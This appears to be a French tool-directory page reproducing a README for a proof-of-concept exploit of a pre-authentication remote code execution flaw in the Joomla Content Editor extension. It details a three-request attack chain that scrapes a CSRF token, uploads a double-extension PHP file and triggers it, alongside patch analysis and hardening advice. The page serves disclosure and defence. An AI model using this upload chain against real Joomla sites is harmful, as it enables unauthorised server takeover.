Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-48907 — Exploit de preuve de concept et analyse technique pour CVE-2026-48907, une vulnérabilité d'exécution de code à distance pré-authentification CVSS 10.0 dans Joomla Content Editor (JCE). Inclut une chaîne d'attaque en 3 requêtes et une ventilation détaillée du correctif. | Kitploit
Outils/GitHubGitHub/grayxploit/cve-2026-48907
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionArticles et RechercheApprentissage et Éducation
GitHubgrayxploit/cve-2026-48907

CVE-2026-48907

Exploit de preuve de concept et analyse technique pour CVE-2026-48907, une vulnérabilité d'exécution de code à distance pré-authentification CVSS 10.0 dans Joomla Content Editor (JCE). Inclut une chaîne d'attaque en 3 requêtes et une ventilation détaillée du correctif.

Voir le dépôt
3il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-48907 — RCE non authentifiée dans Joomla Content Editor (JCE) ≤ 2.9.99.4

Preuve de concept (exploit) pour CVE-2026-48907 — une vulnérabilité d'exécution de code à distance (RCE) de score CVSS 10.0, exploitable sans authentification préalable, dans l'extension Joomla Content Editor (JCE).
Recherche par Grayxploit Security Team

Gemini_Generated_Image_2i4b4p2i4b4p2i4b

Table des matières

  • Vue d'ensemble
  • Versions concernées
  • Détails de la vulnérabilité
  • Déroulement de l'attaque
  • Preuve de concept
  • Analyse du correctif
  • Remédiation
  • Chronologie
  • Références
  • Avertissement

Vue d'ensemble

CVE-2026-48907 est une vulnérabilité critique d'exécution de code à distance (RCE) non authentifiée affectant l'extension Joomla Content Editor (JCE) — l'éditeur Joomla le plus largement installé — dans toutes les versions jusqu'à la 2.9.99.4 incluse.

En enchaînant trois faiblesses de sécurité indépendantes dans le flux d'importation de profils JCE, un attaquant totalement non authentifié peut :

  • Téléverser un webshell PHP arbitraire dans le répertoire /tmp/ du serveur
  • Déclencher l'exécution de ce webshell via HTTP
  • Obtenir une exécution de code à distance (RCE) complète sans identifiants, sans interaction utilisateur et sans position réseau particulière

L'attaque ne nécessite que 3 requêtes HTTP et fonctionne contre toute installation Joomla par défaut exécutant une version vulnérable de JCE.

Score CVSS v4 : 10.0 — Critique

Découverte et divulguée publiquement par l'équipe de recherche en sécurité Grayxploit à la suite d'une divulgation responsable.


Versions concernées

LogicielVersions vulnérablesVersion corrigée
Joomla Content Editor (JCE)≤ 2.9.99.42.9.99.6 (recommandée)

Remarque : La version 2.9.99.5 a introduit le correctif principal. La version 2.9.99.6 a ajouté des couches de durcissement supplémentaires. Mettez à niveau vers la 2.9.99.6 ou une version ultérieure.


Détails de la vulnérabilité

La vulnérabilité provient du point de terminaison d'importation de profils JCE :

root@kitploit:~
POST /index.php?option=com_jce&task=profiles.import

JCE permet aux administrateurs d'exporter et d'importer des profils d'éditeur sous forme de fichiers XML. Le gestionnaire d'importation est accessible sans authentification et accepte des téléversements de fichiers arbitraires en raison d'une chaîne de trois faiblesses indépendantes.

Faiblesse 1 — Absence d'autorisation (CWE-862)

Le contrôleur d'importation n'effectuait aucune vérification ACL :

root@kitploit:~
public function import()
{
    // Only gate: CSRF token — trivially bypassable
    Session::checkToken() or jexit(JText::_('JINVALID_TOKEN'));

    $app = Factory::getApplication();
    // … straight into file handling — no authorise() check
}

Joomla intègre le jeton CSRF dans chaque page publique sous forme de balise meta ou de variable JS :

root@kitploit:~
<meta name="csrf.token" content="abcdef1234567890abcdef1234567890" />

Un attaquant n'a qu'à récupérer la page d'accueil, extraire le jeton et le rejouer. La vérification CSRF empêche les requêtes intersites — elle n'empêche pas les requêtes scriptées directes. Aucun appel à Factory::getUser() ou $user->authorise(...) n'était présent dans le chemin d'importation.


Faiblesse 2 — Absence de validation de l'extension de fichier (CWE-434)

Le gestionnaire de téléversement utilisait File::makeSafe(), qui se contente de supprimer les caractères illégaux du système de fichiers — il ne valide pas et ne restreint pas les extensions de fichiers :

root@kitploit:~
$file = $app->input->files->get('profile_file', null, 'raw');

if (!is_uploaded_file($file['tmp_name'])) { return false; }

$name = File::makeSafe($file['name']); // strips illegal chars only

$destination = $config->get('tmp_path') . '/' . $name;
$source      = $file['tmp_name'];

File::upload($source, $destination, false, true);

Un nom de fichier tel que shell.xml.php passe File::makeSafe() sans être modifié. Le module mod_php d'Apache l'exécute car la dernière extension reconnue est .php. Les extensions telles que .php, .php5, .phtml et les variantes à double extension étaient toutes acceptées.


Faiblesse 3 — File::upload() appelée avec $allow_unsafe = true (CWE-116)

La méthode File::upload() de Joomla intègre une liste noire d'extensions qui bloque les types de fichiers dangereux lorsque $allow_unsafe = false (la valeur par défaut) :

root@kitploit:~
// Joomla File::upload() signature
File::upload($src, $dest, $use_streams = false, $allow_unsafe = false)

Le code JCE vulnérable désactivait explicitement ce filet de sécurité :

root@kitploit:~
// VULNERABLE — unsafe uploads explicitly enabled
File::upload($source, $destination, false, true);

Ce simple booléen désactivait l'intégralité de la liste noire interne d'extensions de Joomla, permettant à .php, .php5, .phtml et à toutes les autres extensions exécutables d'être écrits sur le disque.


Déroulement de l'attaque

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│                                                                 │
│  ① GET /                                                       │
│     ← Extract csrf_token from HTML/JS                           │
│                                                                 │
│  ② POST /index.php?option=com_jce&task=profiles.import         │
│     Content-Type: multipart/form-data                           │
│                                                                 │
│     --boundary                                                  │
│     Content-Disposition: form-data; name="task"                 │
│     profiles.import                                             │
│     --boundary                                                  │
│     Content-Disposition: form-data; name="<csrf_token>"         │
│     1                                                           │
│     --boundary                                                  │
│     Content-Disposition: form-data;                             │
│       name="profile_file";                                      │
│       filename="shell-<hash>.xml.php"                           │
│     Content-Type: application/xml                               │
│                                                                 │
│     <?= 45*69 ?>                                                │
│     --boundary--                                                │
│                                                                 │
│     ← 200 OK (file written to /var/www/html/tmp/)               │
│                                                                 │
│  ③ GET /tmp/shell-<hash>.xml.php                               │
│     ← Response: "3105"  (45 × 69 = RCE confirmed ✓)             │
│                                                                 │
└─────────────────────────────────────────────────────────────────┘

  No session cookie. No username. No password. 3 HTTP requests.

Preuve de concept

⚠️ Cette preuve de concept est fournie strictement pour la recherche en sécurité autorisée et les tests d'intrusion. Ne l'utilisez pas contre un système sans autorisation écrite explicite. Toute utilisation non autorisée est illégale et contraire à l'éthique.

Prérequis

root@kitploit:~
pip3 install requests

Utilisation

root@kitploit:~
git clone https://github.com/grayxploit/CVE-2026-48907.git
cd CVE-2026-48907
pip3 install -r requirements.txt
python3 poc.py

Sortie attendue (cible vulnérable)

[] Cible : http://localhost:9999

[] Charge utile : cve-2026-48907-4821.xml.php [] Étape 1 — Récupération du jeton CSRF...

[+] Jeton CSRF : abcdef1234567890abcdef1234567890

[] Étape 2 — Téléversement de la charge utile...

[+] Réponse de téléversement : HTTP 200

[*] Étape 3 — Déclenchement de l'exécution de la charge utile...

[+] Réponse : 3105

[CRITIQUE] RCE CONFIRMÉE — CVE-2026-48907

La cible http://localhost:9999 est VULNÉRABLE


Analyse du correctif

Les trois faiblesses ont été corrigées dans JCE 2.9.99.5, avec un durcissement supplémentaire livré dans 2.9.99.6.

Correctif 1 — Vérification d'autorisation ajoutée (remédiation CWE-862)

controller/profiles.php :

root@kitploit:~
$user = Factory::getUser();

if (!$user->authorise('core.manage', 'com_jce')) {
    throw new Exception(Text::_('JERROR_ALERTNOAUTHOR'), 403);
}

Les utilisateurs invités (id = 0) échouent immédiatement au test authorise(). La requête est rejetée avant tout traitement de fichier.

Correctif 2 — Liste blanche stricte d'extensions (remédiation CWE-434)

models/profile.php :

root@kitploit:~
$extension = PATHINFO($name, PATHINFO_EXTENSION);

if (strtolower($extension) !== 'xml') {
    $app->enqueueMessage(Text::_('WF_PROFILES_IMPORT_INVALID_FILE'), 'error');
    return false;
}

PATHINFO_EXTENSION ne renvoie que l'extension finale. shell.xml.php → php → rejeté. Cela neutralise tous les contournements par extensions multiples.

Correctif 3 — Drapeau « unsafe » supprimé (remédiation CWE-116)

root@kitploit:~
// Before (vulnerable)
File::upload($source, $destination, false, true);

// After (patched)
File::upload($source, $destination, false);

La liste noire interne d'extensions de Joomla est réactivée en tant que couche de défense indépendante.

Durcissement supplémentaire dans la 2.9.99.6

CorrectifDétail
Limite de taille de téléversementRejette les fichiers > 512 Ko
Protection XXElibxml_disable_entity_loader(true) rétroporté vers PHP 7.x
Liste blanche des champs XMLSeules les clés XML connues comme sûres sont traitées ; les clés arbitraires sont ignorées silencieusement

Remédiation

PrioritéAction
🔴 ImmédiateMettre à niveau JCE vers ≥ 2.9.99.6
🟠 ÉlevéeBloquer ou restreindre l'accès web à /tmp/ au niveau du serveur
🟠 ÉlevéeDésactiver l'exécution de PHP dans les répertoires temporaires via .htaccess ou la configuration du serveur
🟡 MoyenneAjouter une règle WAF pour alerter ou bloquer sur com_jce&task=profiles.import depuis des sessions non authentifiées
🟡 MoyenneAuditer les autres extensions Joomla à la recherche de File::upload(..., true) sans validation d'extension

Désactiver PHP dans /tmp/ via .htaccess

root@kitploit:~
<Directory /var/www/html/tmp>
    php_flag engine off
    <FilesMatch "\.ph(p[2-9]?|tml)$">
        Deny from all
    </FilesMatch>
</Directory>

Chronologie

DateÉvénement
2026-05-XXVulnérabilité découverte par l'équipe de recherche Grayxploit
2026-05-XXDivulgation responsable soumise aux mainteneurs de JCE
2026-06-XXCVE-2026-48907 assignée par MITRE
2026-06-XXJCE 2.9.99.5 publiée — correctif principal
2026-06-12JCE 2.9.99.6 publiée — durcissement supplémentaire
2026-06-12Divulgation publique par Grayxploit

Références

  • NVD — CVE-2026-48907
  • Grayxploit Blog — Full Write-up
  • JCE Official Site
  • Joomla Security Advisory
  • CWE-862: Missing Authorization
  • CWE-434: Unrestricted Upload of File with Dangerous Type

Avertissement

Ce dépôt est destiné uniquement à la recherche en sécurité autorisée, à l'éducation et aux tests d'intrusion sur des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de tester.

L'équipe Grayxploit n'est pas responsable de toute utilisation non autorisée, illégale ou malveillante du code ou des informations fournis dans ce dépôt.

Utilisez de manière responsable. Testez légalement.


Licence

Ce projet est sous licence MIT License.


   



Ce projet vous a été utile ? Montrez votre soutien.

Chaque étoile aide cette recherche à atteindre davantage de défenseurs, de pentesters et de blue teamers qui en ont besoin.


   




À propos de Grayxploit

Grayxploit est une équipe indépendante de recherche en sécurité axée sur la découverte de vulnérabilités, le développement d'exploits et la divulgation responsable à travers les plateformes web, les écosystèmes CMS et les logiciels open source.

Nous trouvonsNous divulguonsVous défendez
Des RCE pré-authentificationDe manière responsable et publiqueAvec notre analyse détaillée des correctifs

Vous avez une information à partager ou souhaitez collaborer ? Ouvrez une Issue ou contactez-nous via notre profil GitHub.



CVE-2026-48907 — Recherche originale par

🔐 Grayxploit Security Team

On casse des choses. En toute responsabilité.


Télécharger l’outil
Des failles logiquesAvec des analyses complètes des causes racinesGrâce à nos PoC utilisés en toute sécurité
Des vulnérabilités chaînéesAvant le début de l'exploitation massivePlus vite que les acteurs malveillants